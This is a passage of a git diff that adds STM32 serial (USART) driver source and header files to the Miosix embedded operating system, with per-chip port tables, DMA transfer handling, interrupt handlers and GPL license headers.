RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 4, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART3, USART3_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 4, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 4 } }, + { UART4 , UART4_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, 4, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, 4 } }, + { UART5 , UART5_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 4 } }, + { USART6, USART6_IRQn, {8}, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5 } }, + { UART7 , UART7_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART7EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 5 } }, + { UART8 , UART8_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART8EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 5, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5 } }, +}; +#else +#error Unsupported STM32 chip for this serial driver +#endif + +// +// class STM32SerialBase +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +STM32SerialBase::STM32SerialBase(int id, int baudrate, bool flowControl) : + flowControl(flowControl), portId(id), rxQueue(rxQueueMin+baudrate/500) +{ + if(id<1 || id>maxPorts) errorHandler(Error::UNEXPECTED); + port=&ports[id-1]; + if(port->get()==nullptr) errorHandler(Error::UNEXPECTED); +} + +void STM32SerialBase::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + #if defined(ALTFUNC_STM32F1) + //Quirk: stm32f1 rx pin has to be in input mode, while stm32f2 and up + //want it in ALTERNATE mode. Go figure... + tx.mode(Mode::ALTERNATE); + rx.mode(Mode::INPUT_PULL_UP_DOWN); + rx.pullup(); //Pullup: prevent spurious rx if unconnected + if(flowControl) + { + rts.mode(Mode::ALTERNATE); + cts.mode(Mode::INPUT); + } + #else + port->getAltFunc().set(tx); + port->getAltFunc().set(rx,true); //Pullup: prevent spurious rx if unconnected + if(flowControl) + { + port->getAltFunc().set(rts); + port->getAltFunc().set(cts); + } + #endif + unsigned int freq=port->IRQgetClock(); + unsigned int quot=2*freq/baudrate; //2*freq for round to nearest + port->get()->BRR=quot/2 + (quot & 1); //Round to nearest + // Some STM32 (i.e. F103xB) have broken one bit sampling mode, + // so ST "helpfully" removed the register field from the headers. + #ifdef USART_CR3_ONEBIT + unsigned long onebit=USART_CR3_ONEBIT; + #else + unsigned long onebit=0; + #endif + if(flowControl==false) port->get()->CR3 |= onebit; + else port->get()->CR3 |= onebit | USART_CR3_RTSE | USART_CR3_CTSE; +} + +void STM32SerialBase::IRQwrite(const char *str) +{ + while(*str) + { + while((port->get()->SR & USART_SR_TXE)==0) ; + port->get()->DR=*str++; + } + waitSerialTxFifoEmpty(); +} + +inline void STM32SerialBase::waitSerialTxFifoEmpty() +{ + while((port->get()->SR & USART_SR_TC)==0) ; +} + +ssize_t STM32SerialBase::readFromRxQueue(void *buffer, size_t size) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + DeepSleepLock dpLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + if(result==size) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +void STM32SerialBase::rxWakeup() +{ + if(rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +int STM32SerialBase::ioctl(int cmd, void* arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8 | (flowControl ? CRTSCTS : 0); + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +// +// class STM32Serial +// + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32Serial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + GlobalIrqLock dLock; + port->IRQenable(); + IRQregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + //Enabled, 8 data bit, no parity, interrupt on character rx + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_RXNEIE //Interrupt on data received + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled +} + +ssize_t STM32Serial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); +} + +ssize_t STM32Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + for(size_t i=0;iget()->SR & USART_SR_TXE)==0) ; + port->get()->DR=*buf++; + } + return size; +} + +void STM32Serial::IRQhandleInterrupt() +{ + unsigned int status=port->get()->SR; + char c; + rxUpdateIdle(status); + if(status & USART_SR_RXNE) + { + //Always read data, since this clears interrupt flags + c=port->get()->DR; + //If no error put data in buffer + if((status & USART_SR_FE)==0) + if(rxQueuePut(c)==false) /*fifo overflow*/; + } + if(status & USART_SR_IDLE) + { + c=port->get()->DR; //clears interrupt flags + } + if((status & USART_SR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32Serial::IRQwrite(const char *str) +{ + STM32SerialBase::IRQwrite(str); +} + +STM32Serial::~STM32Serial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQunregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +// +// class STM32DmaSerial +// + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32DmaSerial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + //Check if DMA is supported for this port + auto dma=port->getDma(); + if(!dma.get()) errorHandler(Error::UNEXPECTED); + GlobalIrqLock dLock; + + dma.IRQenable(); + IRQregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + dma.IRQinit(); + + port->IRQenable(); + //Lower priority to ensure IRQhandleDmaRxInterrupt() is called before + //IRQhandleInterrupt(), so that idle is set correctly + NVIC_SetPriority(port->getIRQn(),defaultIrqPriority+1); + IRQregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + + port->get()->CR3 = USART_CR3_DMAT | USART_CR3_DMAR; //Enable USART DMA + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled + IRQstartDmaRead(); +} + +ssize_t STM32DmaSerial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + size_t remaining=size; + //If the client-provided buffer is not in CCM, we can use it directly + //as DMA source memory (zero copy). + if(isInCCMarea(buf)==false) + { + //We don't use zero copy for the last txBufferSize bytes because in this + //way we can return from this function a bit earlier. + //If we returned while the DMA was still reading from the client + //buffer, and the buffer is immediately rewritten, shit happens + while(remaining>txBufferSize) + { + //DMA is limited to 64K + size_t transferSize=min(remaining-txBufferSize,65535); + waitDmaWriteEnd(); + startDmaWrite(buf,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + } + //DMA out all remaining data through txBuffer + while(remaining>0) + { + size_t transferSize=min(remaining,static_cast(txBufferSize)); + waitDmaWriteEnd(); + //Copy to txBuffer only after DMA xfer completed, as the previous + //xfer may be using the same buffer + memcpy(txBuffer,buf,transferSize); + startDmaWrite(txBuffer,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + #ifdef WITH_DEEP_SLEEP + //The serial driver by default can return even though the last part of + //the data is still being transmitted by the DMA. When using deep sleep + //however the DMA operation needs to be fully enclosed by a deep sleep + //lock to prevent the scheduler from stopping peripheral clocks. + waitDmaWriteEnd(); + waitSerialTxFifoEmpty(); //TODO: optimize by doing it only when entering deep sleep + #endif //WITH_DEEP_SLEEP + return size; +} + +void STM32DmaSerial::startDmaWrite(const char *buffer, size_t size) +{ + markBufferBeforeDmaWrite(buffer,size); + DeepSleepLock dpLock; + //The TC (Transfer Complete) bit in the Status Register (SR) of the serial + //port can be reset by writing to it directly, or by first reading it + //out and then writing to the Data Register (DR). + // The waitSerialTxFifoEmpty() function relies on the status of TC to + //accurately reflect whether the serial port is pushing out bytes or not, + //so it is extremely important for TC to *only* be reset at the beginning of + //a transmission. + // Since the DMA peripheral only writes to DR and never reads from SR, + //we must read from SR manually first to ensure TC is cleared as soon as + //the DMA writes to it -- and not earlier! + // The alternative is to zero out TC by hand, but if we do that TC becomes + //unreliable as a flag. Consider the case in which we are clearing out TC + //in this routine before configuring the DMA. If the DMA fails to start due + //to an error, or the CPU is reset before the DMA transfer is started, the + //USART won't be pushing out bytes but TC will still be zero. As a result, + //waitSerialTxFifoEmpty() will loop forever waiting for the end of a + //transfer that is not happening. + while((port->get()->SR & USART_SR_TXE)==0) ; + + dmaTxInProgress=true; + port->getDma().startDmaWrite(&port->get()->DR,buffer,size); +} + +void STM32DmaSerial::IRQhandleDmaTxInterrupt() +{ + port->getDma().IRQhandleDmaTxInterrupt(); + dmaTxInProgress=false; + if(txWaiting==nullptr) return; + txWaiting->IRQwakeup(); + txWaiting=nullptr; +} + +void STM32DmaSerial::waitDmaWriteEnd() +{ + FastGlobalIrqLock dLock; + // If a previous DMA xfer is in progress, wait + if(dmaTxInProgress) + { + txWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(txWaiting); + } +} + +ssize_t STM32DmaSerial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); +} + +void STM32DmaSerial::IRQstartDmaRead() +{ + port->getDma().IRQstartDmaRead(&port->get()->DR,rxBuffer,rxQueueMin); +} + +int STM32DmaSerial::IRQstopDmaRead() +{ + return rxQueueMin - port->getDma().IRQstopDmaRead(); +} + +void STM32DmaSerial::IRQflushDmaReadBuffer() +{ + int elem=IRQstopDmaRead(); + markBufferAfterDmaRead(rxBuffer,rxQueueMin); + for(int i=0;iget()->SR; + rxUpdateIdle(status); + if(status & USART_SR_IDLE) + { + (unsigned long)port->get()->DR; //clears interrupt flags + IRQflushDmaReadBuffer(); + } + if((status & USART_SR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32DmaSerial::IRQwrite(const char *str) +{ + //Wait until DMA xfer ends. EN bit is cleared by hardware on transfer end + port->getDma().IRQwaitDmaWriteStop(); + STM32SerialBase::IRQwrite(str); +} + +STM32DmaSerial::~STM32DmaSerial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQstopDmaRead(); + auto dma=port->getDma(); + IRQunregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQunregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + IRQunregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.h b/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.h new file mode 100644 index 000000000..b33fe03c5 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.h @@ -0,0 +1,433 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +namespace miosix { + +class STM32SerialHW; +class STM32Serial; +class STM32DmaSerial; + +/** + * \internal Common code for DMA and non-DMA implementations of the STM32 serial + * port class. + */ +class STM32SerialBase +{ +public: + /** + * Utility factory method for crating an instance of the STM32 serial + * drivers. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not correct range or if DMA + * operation is requested and the specified port is not supported. + * \tparam Tx Output GPIO + * \tparam Rx Input GPIO + * \tparam Rts Request to send GPIO (used only for flow control) + * \tparam Cts Clear to send GPIO (used only for flow control) + * \param id A number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1 + * \param speed Serial port baudrate + * \param flowctrl True to enable flow control + * \param dma True to enable DMA operation + */ + template + static inline intrusive_ref_ptr get( + unsigned int id, unsigned int speed, bool flowctrl, bool dma); + + /** + * \return port id, 1 for USART1, 2 for USART2, ... + */ + int getId() const { return portId; } + +private: + /** + * Constructor, does not initialize the peripheral + */ + STM32SerialBase(int id, int baudrate, bool flowControl); + + /** + * Initialize GPIOs, baud rate and flow control + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Write to the serial port directly. Interrupts must be already disabled. + */ + void IRQwrite(const char *str); + + /** + * Wait until all characters have been written to the serial port. + * Needs to be callable from interrupts disabled (it is used in IRQwrite) + */ + void waitSerialTxFifoEmpty(); + + /** + * Read a block of data from rxQueue. Stops when the maximum size is reached + * or if the line becomes idle. + */ + ssize_t readFromRxQueue(void *buffer, size_t size); + + /** + * Update if the line is idle or not from the value of the USART + * status register. + */ + inline void rxUpdateIdle(unsigned long sr) + { + idle=!!(sr & USART_SR_IDLE); + } + + /** + * Put a value in the rxQueue. + */ + inline bool rxQueuePut(char c) + { + return rxQueue.tryPut(c); + } + + /** + * Wakeup a suspended readFromRxQueue() after a state change of rxQueue or + * line idleness status. + */ + void rxWakeup(); + + /** + * Common implementation of ioctl() for the STM32 serial + */ + int ioctl(int cmd, void* arg); + + friend class STM32Serial; + friend class STM32DmaSerial; + + const STM32SerialHW *port; ///< Pointer to USART port object + const bool flowControl; ///< True if flow control GPIOs enabled + const unsigned char portId; ///< 1 for USART1, 2 for USART2, ... + + KernelMutex rxMutex; ///< Mutex locked during reception + DynUnsyncQueue rxQueue; ///< Receiving queue + static const unsigned int rxQueueMin=16; ///< Minimum queue size + Thread *rxWaiting=nullptr; ///< Thread waiting for rx, or 0 + bool idle=true; ///< Receiver idle +}; + +/** + * Serial port class for stm32 microcontrollers. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32Serial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32Serial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + KernelMutex txMutex; ///< Mutex locked during transmission +}; + +/** + * Serial port class for stm32 microcontrollers which uses DMA for data + * transfer. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32DmaSerial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32DmaSerial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Start a write to the serial port using DMA. The write is asynchronous + * (when the function returns, the transfer is still in progress) + * \param buffer buffer to write + * \param size size of buffer to write + */ + void startDmaWrite(const char *buffer, size_t size); + + /** + * Wait until a pending DMA TX completes, if any + */ + void waitDmaWriteEnd(); + + /** + * Start asynchronously reading from the serial port using DMA into + * rxBuffer. + */ + void IRQstartDmaRead(); + + /** + * The DMA write stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaTxInterrupt(); + + /** + * Stop DMA read into rxBuffer + * \return the number of characters in rxBuffer + */ + int IRQstopDmaRead(); + + /** + * Moves the entire content of rxBuffer into rxQueue for reading out by + * the application thread. + */ + void IRQflushDmaReadBuffer(); + + /** + * The DMA read stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaRxInterrupt(); + + /** + * The serial port interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + /** + * The STM3F3, STM32F4 and STM32L4 have an ugly quirk of having 64KB RAM area + * called CCM that can only be accessed by the processor and not be the DMA. + * \param x pointer to check + * \return true if the pointer is inside the CCM, and thus it isn't possible + * to use it for DMA transfers + */ + static bool isInCCMarea(const void *x) + { + unsigned int ptr=reinterpret_cast(x); + return (ptr>=0x10000000) && (ptr<(0x10000000+64*1024)); + } + + KernelMutex txMutex; ///< Mutex locked during transmission + + Thread *txWaiting=nullptr; ///< Thread waiting for tx, or 0 + static const unsigned int txBufferSize=16; ///< Size of DMA tx buffer + /// Tx buffer, for tx speedup. This buffer must not end up in the CCM of the + /// STM32F4, as it is used to perform DMA operations. This is guaranteed by + /// the fact that this class must be allocated on the heap as it derives + /// from Device, and the Miosix linker scripts never puts the heap in CCM + char txBuffer[txBufferSize]; + /// This buffer emulates the behaviour of a 16550. It is filled using DMA + /// and an interrupt is fired as soon as it is half full + char rxBuffer[rxQueueMin]; + bool dmaTxInProgress=false; ///< True if a DMA tx is in progress +}; + +template +intrusive_ref_ptr STM32SerialBase::get( + unsigned int id, unsigned int speed, bool flowctrl, bool dma) +{ + if(!flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(!flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + else //if(flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32f7_serial.cpp b/miosix/arch/drivers/serial/stm32f7_serial.cpp new file mode 100644 index 000000000..9bf57c96f --- /dev/null +++ b/miosix/arch/drivers/serial/stm32f7_serial.cpp @@ -0,0 +1,838 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "stm32f7_serial.h" +#include "stm32_serial_common.h" +#include "kernel/sync.h" +#include "filesystem/ioctl.h" +#include "interfaces/cache.h" +#include "interfaces/gpio.h" +#include "interfaces/interrupts.h" + +using namespace std; + +//Work around ST renaming register fields for some STM32L4 +#if defined(USART_CR1_RXNEIE_RXFNEIE) && !defined(USART_CR1_RXNEIE) +#define USART_CR1_RXNEIE USART_CR1_RXNEIE_RXFNEIE +#endif +#if defined(USART_ISR_RXNE_RXFNE) && !defined(USART_ISR_RXNE) +#define USART_ISR_RXNE USART_ISR_RXNE_RXFNE +#endif +#if defined(USART_ISR_TXE_TXFNF) && !defined(USART_ISR_TXE) +#define USART_ISR_TXE USART_ISR_TXE_TXFNF +#endif + +namespace miosix { + +/* + * Auxiliary class that encapsulates all parts of code that differ between + * between each instance of the USART peripheral. + * + * Try not to use the attributes of this class directly even if they are public. + */ + +class STM32SerialHW +{ +public: + inline USART_TypeDef *get() const { return port; } + inline IRQn_Type getIRQn() const { return irq; } + inline STM32SerialAltFunc const & getAltFunc() const { return altFunc; } + inline unsigned int IRQgetClock() const { return STM32Bus::getClock(bus); } + inline void IRQenable() const { STM32Bus::IRQen(bus, clkEnMask); } + inline void IRQdisable() const { STM32Bus::IRQdis(bus, clkEnMask); } + inline const STM32SerialDMAHW& getDma() const { return dma; } + + inline void setBaudRate(unsigned int baudrate) const + { + unsigned int freq=IRQgetClock(); + if(isLowPower) + { + freq/=1000000; + unsigned int fac=1000000U*4096U/baudrate; + port->BRR=((fac*freq)+8)/16; + } else { + unsigned int quot=2*freq/baudrate; //2*freq for round to nearest + port->BRR=quot/2 + (quot & 1); //Round to nearest + } + } + + USART_TypeDef *port; ///< USART port + IRQn_Type irq; ///< USART IRQ number + STM32SerialAltFunc altFunc; ///< Alternate function to set for GPIOs + bool isLowPower; ///< If it is a LPUART or not + STM32Bus::ID bus; ///< Bus where the port is (APB1 or 2) + unsigned long clkEnMask; ///< USART clock enable + + STM32SerialDMAHW dma; +}; + +/* + * Table of hardware configurations + */ + +#if defined(STM32L010xB) +constexpr int maxPorts = 2; +static const STM32SerialAltFunc::Span lpuart1AfSpans[]= + {{0,6,6},{0,13,4},{1,1,6},{1,12,4},{1,13,2},{2,0,4},{2,4,6},{2,10,2},{0,0,0}}; +static const STM32SerialAltFunc::Span usart2AfSpans[]={{0,0,4}}; +static const STM32SerialHW ports[maxPorts] = { + { LPUART1, LPUART1_IRQn, {lpuart1AfSpans}, true, STM32Bus::APB1, RCC_APB1ENR_LPUART1EN, + { DMA1_Channel2, DMA1_Channel2_3_IRQn, STM32SerialDMAHW::Channel2, 5, + DMA1_Channel6, DMA1_Channel4_5_6_7_IRQn, STM32SerialDMAHW::Channel6, 5 } }, + { USART2, USART2_IRQn, {usart2AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { 0 } }, // No DMA support yet because of merged IRQ channels +}; +#elif defined(STM32L053xx) +constexpr int maxPorts = 3; +static const STM32SerialAltFunc::Span usart1AfSpans[]={{1,0,4},{0,0,0}}; +static const STM32SerialAltFunc::Span usart2AfSpans[]={{0,0,4}}; +static const STM32SerialAltFunc::Span 